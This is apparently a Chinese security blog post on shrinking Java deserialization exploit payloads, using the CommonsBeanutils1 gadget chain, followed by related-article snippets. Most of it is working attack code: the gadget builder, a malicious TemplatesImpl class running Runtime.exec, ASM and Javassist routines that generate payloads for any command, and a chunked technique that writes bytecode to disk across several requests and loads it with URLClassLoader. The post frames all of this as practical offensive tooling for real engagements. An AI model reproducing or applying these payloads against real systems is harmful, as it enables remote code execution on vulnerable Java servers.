<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    終極Java反序列化Payload縮小技術

    VSole2022-01-24 21:31:49

    介紹

    實戰中由于各種情況,可能會對反序列化Payload的長度有所限制,因此研究反序列化Payload縮小技術是有意義且必要的

    本文以CommonsBeanutils1鏈為示例,重點在于三部分:

    • 序列化數據本身的縮小
    • 針對TemplatesImpl_bytecodes字節碼的縮小
    • 對于執行的代碼如何縮小(STATIC代碼塊)

    接下來我將展示如何一步一步地縮小

    最終效果能夠將YSOSERIAL生成的Payload縮小接近三分之二(從3692長度縮小到1296

    YSOSERIAL

    首先用YSOSERIAL工具直接生成CB1的鏈,看看Base64處理后的長度

    java -jar ysoserial.jar CommonsBeanutils1 "calc.exe" > test.ser
    

    生成后統計長度為:3692

    byte[] data = Base64.getEncoder().encode(Files.readAllBytes(Paths.get("test.ser")));
    System.out.println(new String(data).length());
    

    構造Gadget

    嘗試不借助YSOSERIAL直接構造CB1的鏈

    <dependency>
      <groupId>commons-beanutilsgroupId>
      <artifactId>commons-beanutilsartifactId>
      <version>1.9.2version>
    dependency>
    

    構造代碼

    public static byte[] getPayloadUseByteCodes(byte[] byteCodes) {
      try {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        return serialize(queue);
     } catch (Exception e) {
        e.printStackTrace();
     }
      return new byte[]{};
    }
    

    惡意類

    public class EvilByteCodes extends AbstractTranslet {
      static {
        try {
          Runtime.getRuntime().exec("calc.exe");
       } catch (Exception e) {
          e.printStackTrace();
       }
     }
      @Override
      public void transform(DOM document, SerializationHandler[] handlers) {
     }
      @Override
      public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
     }
    }
    

    讀取字節碼并設置到Gadget中,序列化后統計長度:2728

    相比YSOSERIAL直接生成的,縮小了26.1%

    byte[] evilBytesCode = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
    byte[] my = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(evilBytesCode));
    System.out.println(new String(my).length());
    

    其實上文中還有三處可以優化:

    • 設置_name名稱可以是一個字符
    • 其中_tfactory屬性可以刪除(分析TemplatesImpl得出)
    • 其中EvilByteCodes類捕獲異常后無需處理
    setFieldValue(templates, "_name", "t");
    // setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    try {
      Runtime.getRuntime().exec("calc.exe");
    } catch (Exception ignored) {
    }
    

    經過這三處優化后得到長度:2608

    相比YSOSERIAL直接生成的,縮小了29.3%

    從字節碼層面優化

    上文中的EvilBytesCode惡意類的字節碼是可以縮減的

    對字節碼進行分析:javap -c -l EvilByteCodes.class

    public class org.sec.payload.EvilByteCodes extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
     // transform 1 
     // transform 2
     // 
     // 
     static {};
     Code:
       0: invokestatic #2        // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;
       3: ldc     #3        // String
       5: invokevirtual #4        // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;
       8: pop
       9: goto    13
      12: astore_0
      13: return
     Exception table:
       from to target type
         0  9 12 Class java/lang/Exception
     LineNumberTable:
      line 11: 0
      line 13: 9
      line 12: 12
      line 14: 13
     LocalVariableTable:
      Start Length Slot Name Signature
    }
    

    可以看出,該類每個方法包含了三部分:

    • 代碼對應的字節碼
    • ExceptionTable和LocalVariableTable
    • LineNumberTable

    有JVM相關的知識可以得知,局部變量表和異常表是不能刪除的,否則無法執行

    LineNumberTable是可以刪除的

    換句話來說:LINENUMBER指令可以全部刪了

    于是我基于ASM實現刪除LINENUMBER

    byte[] bytes = Files.readAllBytes(Paths.get(path));
    ClassReader cr = new ClassReader(bytes);
    ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
    int api = Opcodes.ASM9;
    ClassVisitor cv = new ShortClassVisitor(api, cw);
    int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
    cr.accept(cv, parsingOptions);
    byte[] out = cw.toByteArray();
    Files.write(Paths.get(path), out);
    

    ShortClassVisitor

    public class ShortClassVisitor extends ClassVisitor {
      private final int api;
      public ShortClassVisitor(int api, ClassVisitor classVisitor) {
        super(api, classVisitor);
        this.api = api;
     }
      @Override
      public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
        MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
        return new ShortMethodAdapter(this.api, mv);
     }
    }
    

    重點在于ShortMethodAdapter:如果遇到LINENUMBER指令則阻止傳遞,可以理解為返回空

    public class ShortMethodAdapter extends MethodVisitor implements Opcodes {
      public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
        super(api, methodVisitor);
     }
      @Override
      public void visitLineNumber(int line, Label start) {
        // delete line number
     }
    }
    

    讀取編譯的字節碼并處理后替換

    Resolver.resolve("/path/to/EvilByteCodes.class");
    byte[] newByteCodes = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
    byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
    System.out.println(new String(payload).length());
    

    經過優化后得到長度:1832

    相比YSOSERIAL直接生成的,縮小了50.3%

    使用Javassist構造

    以上代碼雖然做到了超過百分之五十的縮小,但存在一個問題:目前的惡意類是寫死的,無法動態構造

    想要動態構造字節碼一種手段是選擇ASM做,但有更好的選擇:Javassist

    通過這樣的一個方法,就可以根據輸入命令動態構造出Evil

    private static byte[] getTemplatesImpl(String cmd) {
      try {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody("   try {" +
                  "     Runtime.getRuntime().exec(\"" + cmd + "\");" +
                  "   } catch (Exception ignored) {" +
                  "   }");
        CtMethod ctMethod1 = CtMethod.make(" public void transform(" +
                         "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                         "com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {" +
                         " }", ctClass);
        ctClass.addMethod(ctMethod1);
        CtMethod ctMethod2 = CtMethod.make(" public void transform(" +
                         "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                         "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " +
                         "com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {" +
                         " }", ctClass);
        ctClass.addMethod(ctMethod2);
        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();
        return bytes;
     } catch (Exception e) {
        e.printStackTrace();
        return new byte[]{};
     }
    }
    

    將動態生成的字節碼保存至當前目錄,再讀取加載

    String path = System.getProperty("user.dir") + File.separator + "Evil.class";
    Generator.saveTemplateImpl(path, "calc.exe");
    byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
    byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
    System.out.println(new String(payload).length());
    

    經過優化后得到長度:1848

    相比YSOSERIAL直接生成的,縮小了49.9%

    不難發現使用Javassist生成的字節碼似乎本身就不包含LINENUMBER指令

    不過這只是猜測,當我使用上文的刪除指令代碼優化后,發現進一步縮小了

    ...
    Generator.saveTemplateImpl(path, "calc.exe");
    Resolver.resolve("Evil.class");
    ...
    // 驗證Payload是否有效  
    Payload.deserialize(Base64.getDecoder().decode(payload));
    

    經過優化后得到長度:1804

    相比YSOSERIAL直接生成的,縮小了51.1%

    驗證Payload有效可以彈出計算器

    刪除重寫方法

    可以發現Evil類繼承自AbstractTranslet抽象類,所以必須重寫兩個transform方法

    這樣寫代碼會導致編譯不通過,無法執行

    public class EvilByteCodes extends AbstractTranslet {
      static {
        try {
          Runtime.getRuntime().exec("calc.exe");
       } catch (Exception ignored) {
       }
     }
    }
    

    編譯不通過不代表非法,通過手段直接構造對應的字節碼

    (1)通過ASM刪除方法

    @Override
    public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
      if (name.equals("transform")) {
        return null;
     }
      MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
      return new ShortMethodAdapter(this.api, mv, name);
    }
    

    (2)通過Javassist直接構造

    private static byte[] getTemplatesImpl(String cmd) {
      try {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody("   try {" +
                  "     Runtime.getRuntime().exec(\"" + cmd + "\");" +
                  "   } catch (Exception ignored) {" +
                  "   }");
        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();
        return bytes;
     } catch (Exception e) {
        e.printStackTrace();
        return new byte[]{};
     }
    }
    

    通過以上手段處理后進行反序列化驗證:成功彈出計算器

    String path = System.getProperty("user.dir") + File.separator + "Evil.class";
    Generator.saveTemplateImpl(path, "calc.exe");
    Resolver.resolve("Evil.class");
    byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
    byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
    System.out.println(new String(payload).length());
    Payload.deserialize(Base64.getDecoder().decode(payload));
    

    最終優化后得到長度:1332

    相比YSOSERIAL直接生成的,縮小了63.9%

    并不是所有方法都能刪除,比如不存在構造方法的情況下無法刪除空參構造

    于是有了一個新思路:刪除靜態代碼塊,將代碼寫入空參構造

    ClassPool pool = ClassPool.getDefault();
    CtClass ctClass = pool.makeClass("Evil");
    CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
    ctClass.setSuperclass(superClass);
    CtConstructor constructor = CtNewConstructor.make(" public Evil(){" +
                             "   try {" +
                             "     Runtime.getRuntime().exec(\"" + cmd + "\");" +
                             "   }catch (Exception ignored){}" +
                             " }", ctClass);
    ctClass.addConstructor(constructor);
    byte[] bytes = ctClass.toBytecode();
    ctClass.defrost();
    return bytes;
    

    最終優化后得到長度:1296

    相比YSOSERIAL直接生成的,縮小了64.8%

    終極技術:分塊傳輸

    以上的內容都在圍繞字節碼和序列化數據的縮小,我認為已經做到的接近極致,很難做到更小的

    對于STATIC代碼塊中需要執行的代碼也有縮小手段,這也是更有實戰意義是思考,因為實戰中不是彈個計算器這么簡單

    因此可以用追加的方式發送多個請求往指定文件中寫入字節碼,將真正需要執行的字節碼分塊

    使用Javassist動態生成寫入每一分塊的Payload,以追加的方式將所有字節碼的Base64寫入某文件

    static {
      try {
        String path = "/your/path";
        // 創建文件
        File file = new File(path);
        file.createNewFile();
        // 傳入true是追加方式寫文件
        FileOutputStream fos = new FileOutputStream(path, true);
        // 需要寫入的數據
        String data = "BASE64_BYTECODES_PART";
        fos.write(data.getBytes());
        fos.close();
     } catch (Exception ignore) {
     }
    }
    

    在最后一個包中將字節碼進行Base64Decode并寫入class文件

    (也可以直接寫字節碼二進制數據,不過個人認為Base64好分割處理一些)

    static {
      try {
        String path = "/your/path";
        FileInputStream fis = new FileInputStream(path);
        // size取決于實際情況
        byte[] data = new byte[size];
        fis.read(data);
        // 寫入Evil.class
        FileOutputStream fos = new FileOutputStream("Evil.class");
        fos.write(Base64.getDecoder().decode(data));
        fos.close();
     } catch (Exception ignored) {
     }
    }
    

    會有師傅產生疑問:為什么要寫這么多的代碼而不用java.nio.file.Files工具類一行實現讀寫

    其實我一開始就是使用該工具類在做,后來測試發現受用用Stream讀寫產生的Payload會更小

    最后一個包使用URLClassLoader進行加載

    注意一個小坑,傳入URLClassLoader的路徑要以file://開頭且以/結尾否則會找不到對應的類

    static {
      try {
        String path = "file:///your/path/";
        URL url = new URL(path);
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
        Class clazz = urlClassLoader.loadClass("Evil);
        clazz.newInstance();
     } catch (Exception ignored) {
     }
    }
    

    代碼

    我對常見的反序列化鏈做了總結和測試,效果如下(出了個叛徒)

    項目地址:https://github.com/EmYiQing/ShortPayload

    序列化字節碼
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Java反序列化是java安全的基礎,想要學好java反序列化,就不能只看看相關文章,要自己動手實踐,看看java反序列化到底是怎么回事。JSON和XML是通用數據交互格式,通常用于不同語言、不同環境下數據的交互,比如前端的JavaScript通過JSON和后端服務通信、微信服務器通過XML和公眾號服務器通信。快速入門Java Serialization(序列化):將java對象以一連串的字節保存在磁盤文件中的過程,也可以說是保存java對象狀態的過程。
    Java程序使用ObjectInputStream對象的readObject方法將反序列化數據轉換為java對象。但當輸入的反序列化的數據可被用戶控制,那么攻擊者即可通過構造惡意輸入,讓反序列化產生非預期 的對象,在此過程中執行構造的任意代碼。
    介紹實戰中由于各種情況,可能會對反序列化Payload的長度有所限制,因此研究反序列化Payload縮小技術是有意義且必要的本文以CommonsBeanutils1鏈為示例,
    Java Agent到內存
    2021-12-14 14:52:22
    前言今天看到一篇文章,寫的是關于JAVA Agent相關的資料(附1),里面提到了Java Agent的兩種實現方法:實現premain方法,在JVM啟動前加載實現agentmain方法,在JVM啟動后attach加載因為最近流行破解CobaltStrike不再直接使用反編譯打包源碼了,而是使用JAVA Agent進行提前字節修改。
    Tomcat啟動時會加載lib下的依賴jar,如果黑客通過上傳漏洞或者反序列化漏洞在這個目錄添加一個jar,重啟后,某些情況下這個jar會被當成正常庫來加載,在一定條件下造成RCE
    EasyJaba 這個題目是隴原戰”疫”2021網絡安全大賽的一道題,最近正好在學習java反序列化和內存的相關知識,通過這個題目可以很好的進行實踐。 反序列化
    我記得大概是15年年底時,冰蝎作者rebeyond第一個公布出Weblogic T3反序列化回顯方法,而且給出了相關的代碼。早期的Weblogic反序列化利用工具,為了實現T3協議回顯,都會向服務器上寫入一個臨時文件。
    最近兩個月我一直在做拒絕服務漏洞相關的時間,并收獲了Spring和Weblogic的兩個CVE但DoS漏洞終歸是雞肋洞,并沒有太大的意義,比如之前有人說我只會水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd師傅聊天
    0x01 背景 在內存橫行的當下,藍隊or應急的師傅如何能快速判斷哪些Filter/Servlet是內存,分析內存的行為功能是什么?考慮到Agent技術針對紅隊來說比較重,我們這次使用jsp技術來解決以上問題。
    一文看懂內存
    2022-01-02 22:31:21
    它負責處理用戶的請求,并根據請求生成相應的返回信息提供給用戶。業務邏輯處理完成之后,返回給Servlet容器,然后容器將結果返回給客戶端。Filter對象創建后會駐留在內存,當web應用移除或服務器停止時才銷毀。該方法在Filter的生命周期中僅執行一次。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类